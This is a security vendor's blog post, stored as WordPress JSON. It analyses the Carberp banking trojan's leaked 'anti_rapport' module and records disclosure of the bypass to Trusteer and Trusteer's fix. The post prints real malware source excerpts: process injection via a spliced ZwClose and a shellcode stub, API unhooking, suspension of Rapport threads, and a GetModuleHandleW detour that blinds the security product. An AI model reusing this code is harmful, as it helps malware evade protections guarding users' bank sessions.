{"id":33,"date":"2013-06-28T13:33:10","date_gmt":"2013-06-28T13:33:10","guid":{"rendered":"http:\/\/www.adlice.com\/?p=33"},"modified":"2022-12-21T10:42:28","modified_gmt":"2022-12-21T10:42:28","slug":"carberp-anti-rapport-beating-trusteer-protection","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/de\/carberp-anti-rapport-beating-trusteer-protection\/","title":{"rendered":"Carberp anti-rapport : Beating Trusteer protection"},"content":{"rendered":"\n<h4 class=\"has-accent-color has-text-color wp-block-heading\">Introduction<\/h4>\n\n\n\n<p>Last week the <strong>Carberp source code has been leaked<\/strong>, and we got it. This was the occasion to analyse a nice piece of malware.<\/p>\n\n\n\n<p><strong>One of the multiple modules of Carberp is called <span style=\"color: #993366;\">anti_rapport<\/span><\/strong>, this is a module able to (in theory) <strong>inject itself in Internet Explorer&#8221;s memory<\/strong> to remove Trusteer rapport protection by <strong>unhooking API calls <\/strong>and <strong>suspend rapport&#8221;s threads<\/strong>. I will also <strong>forbid any thread related to rapport dll to get a handle on any module of the process.<\/strong><\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Analysis<\/h4>\n\n\n\n<p>Here&#8221;s the global flow of the source code:<br>&nbsp;<br><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-1024x966.png\"><img decoding=\"async\" class=\"alignnone size-large wp-image-41\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-1024x966-1024x966.png\" alt=\"anti_rapport-1024x966\" width=\"1024\" height=\"966\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-1024x966.png 1024w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-1024x966-300x283.png 300w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><\/p>\n\n\n\n<p><strong>The module is divided in 2 parts<\/strong>. The dropper (exe file) and the DLL. Both parts belong to the same file, but they are related to different parts in the flow.<\/p>\n\n\n\n<p>Entry code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BOOL Entry(HMODULE hDll, DWORD dwReasonForCall, DWORD dwReserved)\n{\n    BOOL bRet = FALSE;\n    CHAR chExePath&#91;MAX_PATH];\n\n    GetModuleFileName(NULL, chExePath, RTL_NUMBER_OF(chExePath)-1);\n\n    \/\/ Dll call -- Injector\n    if (hDll &amp;amp;&amp;amp; dwReasonForCall == DLL_PROCESS_ATTACH)\n    {\n        g_bDll = TRUE;\n\n        UtiDPrint(__FUNCTION__\"(): Dll: %x\\\\n\", hDll);\n\n        HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MainThread, NULL, 0, NULL);\n        if (hThread) CloseHandle(hThread);\n\n        bRet = TRUE;\n    }\n    \/\/ Exe call -- Dropper\n    else if (!g_bDll)\n    {\n        DbgPrint(__FUNCTION__\"(): Exe: ''%s''\\\\n\", chExePath);\n\n        DropperExeWork(chExePath);\n\n        ExitProcess(ERROR_SUCCESS);\n    }\n\n    return bRet;\n}<\/code><\/pre>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Dropper<\/h4>\n\n\n\n<p>The dropper is responsible for <strong>copying itself to a temp file<\/strong>, then modify that copy to <strong>turns its characteristic flag into DLL<\/strong>. That way, it can be injected as module into processes. Once the DLL is ready, <strong>it reads iexplore.exe memory<\/strong> (Mapping) and <strong>copies a shellcode right after the Section headers of its loaded ntdll.dll module<\/strong>.<\/p>\n\n\n\n<p>The <strong>Shellcode is basically only a LoadLibrary<\/strong>, which will trigger the Main routine of the injected DLL into the process&#8221;s context.<br>&nbsp;<br><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-10_46_03-WinHex.png\"><img decoding=\"async\" class=\"alignnone size-full wp-image-38\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-10_46_03-WinHex.png\" alt=\"2013-06-28-10_46_03-WinHex\" width=\"816\" height=\"635\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-10_46_03-WinHex.png 816w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-10_46_03-WinHex-300x233.png 300w\" sizes=\"(max-width: 816px) 100vw, 816px\" \/><\/a><\/p>\n\n\n\n<p>Shellcode:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ ShellCode\n__declspec(naked) VOID injn_dllloader_start()\n{\n    __asm\n    {\n        mov eax,0x11111111          \/\/pShellData-&amp;gt;bLock (stored in process) in EAX\n        xor cl,cl                   \/\/clear CL flag\n        cmp byte ptr &#91;eax], cl      \/\/if bLock = 0 =&amp;gt; Exit\n        jz exit_\n        mov byte ptr &#91;eax], cl      \/\/Set bLock = cl = 0\n        inc eax                     \/\/move EAX ptr on pShellData-&amp;gt;chDllName\n        push eax                    \/\/pShellData-&amp;gt;chDllName on stack\n        mov eax, 0x22222222         \/\/LoadLibraryA addr in EAX\n        call eax                    \/\/Call LoadLibrary\nexit_:\n        mov eax, 0x33333333         \/\/pShellData-&amp;gt;ucOldBytes (stored in process) in EAX\n        jmp eax                     \/\/Jump to stolen bytes (old address of splicing)\n    }\n}\n\n__declspec(naked) VOID injn_dllloader_end(){__asm __emit ''J''}\n\n#define injn_dllloader_size (DWORD)injn_dllloader_end-(DWORD)injn_dllloader_start<\/code><\/pre>\n\n\n\n<p>Once the shellcode copied into loaded module, the dropper will <strong>rewrite the first few bytes of ZwClose (in ntdll) to jump to the shellcode (Splice)<\/strong>. So at any attempt to ZwClose (which occurs quite often) from iexplore.exe, <strong>the DLL will be loaded in memory and trigger the main routine<\/strong> (in process&#8221;s context).<\/p>\n\n\n\n<p>Dll injected into iexplore.exe:<br>&nbsp;<br><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_28_12-Program-Manager.png\"><img decoding=\"async\" class=\"alignnone size-large wp-image-34\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_28_12-Program-Manager-1024x592.png\" alt=\"2013-06-28-09_28_12-Program-Manager\" width=\"1024\" height=\"592\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_28_12-Program-Manager-1024x592.png 1024w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_28_12-Program-Manager-300x173.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_28_12-Program-Manager.png 1049w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>DLL<\/h4>\n\n\n\n<p><strong>The DLL is responsible (once injected) for removing every hook made by a protection DLL<\/strong>, <strong>stop any thread from &#8220;rapport&#8221; DLL<\/strong>, and <strong>forbid &#8220;rapport&#8221; DLL to call GetModuleHandleW<\/strong> in kernel32.dll<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Hook removal<\/li>\n<\/ul>\n\n\n\n<p>To remove protection made by a security product into Internet Explorer, the anti_rapport will <strong>look for hooks in specific modules<\/strong> (<em>ntdll.dll, kernel32.dll, mswsock.dll, ws2_32.dll, wsock32.dll, wininet.dll, user32.dll and gdi32.dll<\/em>), and <strong>remove them<\/strong>.<\/p>\n\n\n\n<p>To perform hook removal, the DLL will simply <strong>reload the DLL into another memory space<\/strong>, <strong>parse Export tables<\/strong> (one for the new loaded DLL and one for the existing one) and <strong>compare addresses<\/strong>. If some of them mismatches, it will <strong>restore to initial value.<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>VOID UnhookLibs()\n{\n    UnhookModuleExports(MyGetModuleBase(\"ntdll\"));\n    UnhookModuleExports(MyGetModuleBase(\"kernel32\"));\n    UnhookModuleExports(MyGetModuleBase(\"mswsock\"));\n    UnhookModuleExports(MyGetModuleBase(\"ws2_32\"));\n    UnhookModuleExports(MyGetModuleBase(\"wsock32\"));\n    UnhookModuleExports(MyGetModuleBase(\"wininet\"));\n    if (!GetModuleHandle(\"ieframe.dll\")) UnhookModuleExports(MyGetModuleBase(\"user32.dll\"));\n    UnhookModuleExports(MyGetModuleBase(\"gdi32.dll\"));\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Stop rapport threads<\/li>\n<\/ul>\n\n\n\n<p>To stop rapport threads, the module only <strong>enumerate process&#8221;s threads<\/strong>, then call <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms684283%28v=vs.85%29.aspx\">NtQueryInformationThread<\/a> with ThreadQuerySetWin32StartAddress value to get the threads&#8221;s entry point address, then it calls <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms683195%28v=vs.85%29.aspx\">GetMappedFileName<\/a> to get the module name related to the thread&#8221;s entry point.<\/p>\n\n\n\n<p>That way it&#8221;s able to <strong>retrieve the module where a thread is based<\/strong>. To finish, it <strong>filters that name and calls ResumeThread only on those who are authorized to run<\/strong> (It has previously suspended the whole process with NtSuspendProcess)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>BOOL AntiRapControlThreads(HANDLE hProcess, DWORD dwPid)\n{\n    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n    if (hSnap == INVALID_HANDLE_VALUE) return FALSE;\n\n    HANDLE hThread;\n    THREADENTRY32 thread = {0};\n    thread.dwSize = sizeof(THREADENTRY32);\n\n    if (Thread32First(hSnap, &amp;amp;thread))\n    {\n        do \n        {\n            if (thread.th32OwnerProcessID == dwPid &amp;amp;&amp;amp; thread.th32ThreadID != GetCurrentThreadId())\n            {\n                if (hThread = OpenThread(THREAD_SUSPEND_RESUME|THREAD_QUERY_INFORMATION, 0, thread.th32ThreadID))\n                {\n                    CHAR chFileName&#91;MAX_PATH];\n                    PVOID pvStartAddress;\n                    DWORD dwLen;\n\n                    if (NT_SUCCESS(NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &amp;amp;pvStartAddress, sizeof(PVOID), &amp;amp;dwLen)))\n                    {\n                        if (GetMappedFileName(hProcess, pvStartAddress, chFileName, RTL_NUMBER_OF(chFileName)-1))\n                        {\n                            if (!StrStrI(chFileName, \"rapport\"))\n                            {\n                                ResumeThread(hThread);\n                            }\n                        }\n                    }\n\n                    CloseHandle(hThread);\n                }\n            }\n        } \n        while (Thread32Next(hSnap, &amp;amp;thread));\n    }\n\n    CloseHandle(hSnap);\n\n    return TRUE;\n}<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li>GetModuleHandle splicing<\/li>\n<\/ul>\n\n\n\n<p><strong>To avoid Security products to access any part of the process<\/strong>, and be able to check for malicious hooks, the anti_rapport will <strong>detour <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/ms683199%28v=vs.85%29.aspx\">GetModuleHandle<\/a> API and filter any attempt to access a loaded module<\/strong>.<\/p>\n\n\n\n<p>The hook is made with <strong>classic splicing<\/strong>, which consists to insert a JUMP at the beginning of the function (in memory). It&#8221;s way better than IAT hook (which replace the address of the function in IAT table) because not visible except if we scan lot of the process&#8221;s memory.<\/p>\n\n\n\n<p><strong>Here, the hook is not seen in TaskSTRun<\/strong> (But I know it&#8217;s here \ud83d\ude42 ):<br>&nbsp;<br><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_24-1460-iexplore-IAT-OK.png\"><img decoding=\"async\" class=\"alignnone size-full wp-image-35\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_24-1460-iexplore-IAT-OK.png\" alt=\"2013-06-28-09_37_24-1460-iexplore-IAT-OK\" width=\"390\" height=\"74\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_24-1460-iexplore-IAT-OK.png 390w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_24-1460-iexplore-IAT-OK-300x57.png 300w\" sizes=\"(max-width: 390px) 100vw, 390px\" \/><\/a><\/p>\n\n\n\n<p>By <strong>loading the infected process into a debugger<\/strong>, and looking at the address (0x7C80E4DD) of the function (in ntdll), we can see the detour code:<br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_34-OllyDbg-iexplore.exe_.png\"><img decoding=\"async\" width=\"560\" height=\"176\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_34-OllyDbg-iexplore.exe_.png\" alt=\"2013-06-28-09_37_34-OllyDbg-iexplore.exe\" class=\"wp-image-36\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_34-OllyDbg-iexplore.exe_.png 560w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_37_34-OllyDbg-iexplore.exe_-300x94.png 300w\" sizes=\"(max-width: 560px) 100vw, 560px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_41_12-OllyDbg-iexplore.exe_.png\"><img decoding=\"async\" width=\"524\" height=\"85\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_41_12-OllyDbg-iexplore.exe_.png\" alt=\"2013-06-28-09_41_12-OllyDbg-iexplore.exe\" class=\"wp-image-42\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_41_12-OllyDbg-iexplore.exe_.png 524w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_41_12-OllyDbg-iexplore.exe_-300x49.png 300w\" sizes=\"(max-width: 524px) 100vw, 524px\" \/><\/a><\/figure>\n\n\n\n<p><strong>That jump leads to the detour function<\/strong>, which looks like this:<br>&nbsp;<br><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_43_35-OllyDbg-iexplore.exe_.png\"><img decoding=\"async\" class=\"alignnone size-full wp-image-37\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_43_35-OllyDbg-iexplore.exe_.png\" alt=\"2013-06-28-09_43_35-OllyDbg-iexplore.exe\" width=\"685\" height=\"497\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_43_35-OllyDbg-iexplore.exe_.png 685w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-06-28-09_43_35-OllyDbg-iexplore.exe_-300x218.png 300w\" sizes=\"(max-width: 685px) 100vw, 685px\" \/><\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HMODULE WINAPI NewGetModuleHandleW(LPWSTR lpModuleName)\n{\n    PVOID pvCallersAddress;\n    PVOID pvCallersCaller;\n\n    RtlGetCallersAddress(&amp;amp;pvCallersAddress, &amp;amp;pvCallersCaller);\n\n    BOOL bPass = AntiRapCheckAddress(pvCallersAddress) || AntiRapCheckAddress(pvCallersCaller);\n\n    if (bPass) return g_OldGetModuleHandleW(lpModuleName); else return NULL;\n}\n\nBOOL AntiRapCheckAddress(PVOID pvAddress)\n{\n    PLDR_DATA_TABLE_ENTRY pLdrEntry;\n\n    if (NT_SUCCESS(LdrFindEntryForAddress(pvAddress, &amp;amp;pLdrEntry)))\n    {\n        if (StrStrIW(pLdrEntry-&amp;gt;BaseDllName.Buffer, L\"rapport\"))\n        {\n            return FALSE;\n        }\n    }\n\n    return TRUE;\n}<\/code><\/pre>\n\n\n\n<p><strong>It&#8221;s just getting the caller of the function and the caller of that caller<\/strong> (with RtlGetCallersAddress), and <strong>checks if one of them is coming from any &#8220;rapport&#8221; DLL<\/strong>. If this is the case, the function will <strong>return NULL<\/strong> (and thus will forbid that caller to get the needed handle), <strong>otherwise it returns the original function<\/strong>.<\/p>\n\n\n\n<p>By doing this, <strong>a security product that needs to get a handle<\/strong> on a module to scan it (for signatures, or to check the IAT table) <strong>will be rejected and will not be able to scan it<\/strong>.<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Conclusion<\/h4>\n\n\n\n<p><strong>Do not forget that module is part of a huge malware, Carberp<\/strong>. This malware is able to <strong>steal bank informations by watching the web browser<\/strong>. One major problem for them was to go stealth and remain into that web browser, even with security products guarding it.<\/p>\n\n\n\n<p><strong>That module has clearly being developed to kill Trusteer rapport product<\/strong>, and keep their product functional and undetected.<\/p>\n\n\n\n<p>Trusteer <a href=\"https:\/\/www.trusteer.com\/blog\/carberps-attempt-to-bypass-trusteer-rapport-is-effectively-resisted\">claims their product has resisted to this<\/a>, so that&#8221;s a good point \ud83d\ude42 . However, even if the anti_rapport code contains hard-coded name about the rapport module of Trusteer, <strong>it&#8221;s quite generic and can be adapted for any security product<\/strong> that use wide DLL injection to guard web browsers.<\/p>\n\n\n\n<p><strong>UPDATE 07\/22\/2013<\/strong><\/p>\n\n\n\n<p>I&#8217;ve tested the module against Rapport, and <strong>it seems to be bypassed<\/strong>. I don&#8217;t know if it really protects or not, but every feature of the anti-rapport module has been loaded and is functional. I was <strong>able to inject the DLL into iexplore.exe<\/strong> (with rapport loaded), to <strong>hook GetModuleHandleW<\/strong>, and to <strong>filter DLL calls<\/strong>. Trusteer has been contacted, I hope they will either give me more information or fix this. This is severe issue, as this malware is in the wild for years, and now because the source code has been leaked and will be used in many new malwares. See screenshots below.<br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-10_57_37-3224-iexplore-IAT-OK.png\"><img decoding=\"async\" width=\"983\" height=\"237\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-10_57_37-3224-iexplore-IAT-OK.png\" alt=\"Anti rapport module is injected into iexplore.exe (rapport is loaded)\" class=\"wp-image-39\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-10_57_37-3224-iexplore-IAT-OK.png 983w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-10_57_37-3224-iexplore-IAT-OK-300x72.png 300w\" sizes=\"(max-width: 983px) 100vw, 983px\" \/><\/a><figcaption class=\"wp-element-caption\">Anti rapport module is injected into iexplore.exe (rapport is loaded)<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-11_22_38-OllyDbg-iexplore.exe-CPU-thread-0000148C-module-377.png\"><img decoding=\"async\" width=\"1024\" height=\"518\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-11_22_38-OllyDbg-iexplore.exe-CPU-thread-0000148C-module-377-1024x518.png\" alt=\"Rapport DLL calls are filtered out by the anti-rapport module and cannot access to process\u2019 modules handles\" class=\"wp-image-40\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-11_22_38-OllyDbg-iexplore.exe-CPU-thread-0000148C-module-377-1024x518.png 1024w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-11_22_38-OllyDbg-iexplore.exe-CPU-thread-0000148C-module-377-300x152.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/2013-07-16-11_22_38-OllyDbg-iexplore.exe-CPU-thread-0000148C-module-377.png 1079w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">Rapport DLL calls are filtered out by the anti-rapport module and cannot access to process\u2019 modules handles<\/figcaption><\/figure>\n\n\n\n<p><strong>UPDATE 07\/25\/2013<\/strong><\/p>\n\n\n\n<p>Trusteer, after a fast reply told me they had fixed it. So I updated their software, and retried start the anti-rapport binary.<\/p>\n\n\n\n<p>Now, the module is able to inject itself in Internet Explorer, and splice the API, but it seems unable to resume some useful threads, related to core application. As a consequence, Internet Explorer behaves like it was hanging, and does not responds anymore. This is really better, for several reasons.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>The user is alerted that something is going wrong, and can maybe query some help on support forums.<\/li>\n\n\n\n<li>The user is unable to start banking sessions, and thus the malware cannot grab its informations.<\/li>\n<\/ol>\n\n\n\n<p>I would like to thanks Trusteer for their quick answer and fix, and for their valuable support guys.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Carberp Anti Rapport Trusteer &#8211; How the Carberp malware is defeating Anti Rapport (from Trusteer) to gain access to the bank account of a victim.<\/p>\n","protected":false},"author":1,"featured_media":43,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36],"tags":[7,42,8,39,38],"class_list":["post-33","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analysis","tag-analysis","tag-carberp","tag-malware","tag-rapport","tag-trusteer","category-36","description-off"],"views":717,"yoast_score":71,"yoast_readable":30,"featured_image_src":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-parallax.png","author_info":{"display_name":"tigzy","author_link":"https:\/\/www.adlice.com\/de\/author\/tigzy\/"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Carberp VS Anti Rapport Trusteer | Comparison \u2022 Adlice Software<\/title>\n<meta name=\"description\" content=\"How the Carberp malware is defeating Anti Rapport (from Trusteer) to gain access to the bank account of a victim.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\" \/>\n<meta property=\"og:locale\" content=\"de_DE\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Carberp VS Anti Rapport Trusteer | Comparison \u2022 Adlice Software\" \/>\n<meta property=\"og:description\" content=\"How the Carberp malware is defeating Anti Rapport (from Trusteer) to gain access to the bank account of a victim.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\" \/>\n<meta property=\"og:site_name\" content=\"Adlice Software\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/RogueKiller\" \/>\n<meta property=\"article:published_time\" content=\"2013-06-28T13:33:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-21T10:42:28+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-parallax.png\" \/>\n\t<meta property=\"og:image:width\" content=\"855\" \/>\n\t<meta property=\"og:image:height\" content=\"399\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"tigzy\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:site\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:label1\" content=\"Verfasst von\" \/>\n\t<meta name=\"twitter:data1\" content=\"tigzy\" \/>\n\t<meta name=\"twitter:label2\" content=\"Gesch\u00e4tzte Lesezeit\" \/>\n\t<meta name=\"twitter:data2\" content=\"8\u00a0Minuten\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\"},\"author\":{\"name\":\"tigzy\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\"},\"headline\":\"Carberp anti-rapport : Beating Trusteer protection\",\"datePublished\":\"2013-06-28T13:33:10+00:00\",\"dateModified\":\"2022-12-21T10:42:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\"},\"wordCount\":1094,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-parallax.png\",\"keywords\":[\"analysis\",\"carberp\",\"malware\",\"rapport\",\"trusteer\"],\"articleSection\":[\"Analysis\"],\"inLanguage\":\"de\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\",\"url\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\",\"name\":\"Carberp VS Anti Rapport Trusteer | Comparison \u2022 Adlice Software\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-parallax.png\",\"datePublished\":\"2013-06-28T13:33:10+00:00\",\"dateModified\":\"2022-12-21T10:42:28+00:00\",\"description\":\"How the Carberp malware is defeating Anti Rapport (from Trusteer) to gain access to the bank account of a victim.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#breadcrumb\"},\"inLanguage\":\"de\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#primaryimage\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-parallax.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/anti_rapport-parallax.png\",\"width\":855,\"height\":399},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.adlice.com\/carberp-anti-rapport-beating-trusteer-protection\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.adlice.com\/de\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Carberp anti-rapport : Beating Trusteer protection\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.adlice.com\/#website\",\"url\":\"https:\/\/www.adlice.com\/\",\"name\":\"Adlice Software\",\"description\":\"Anti-malware and analysis tools\",\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.adlice.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"de\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.adlice.com\/#organization\",\"name\":\"Adlice Software\",\"url\":\"https:\/\/www.adlice.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"width\":276,\"height\":276,\"caption\":\"Adlice Software\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/RogueKiller\",\"https:\/\/x.com\/AdliceSoftware\",\"https:\/\/fr.linkedin.com\/company\/adlice-software\",\"https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\",\"name\":\"tigzy\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"de\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"caption\":\"tigzy\"},\"description\":\"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.\",\"url\":\"https:\/\/www.adlice.com\/de\/author\/tigzy\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. 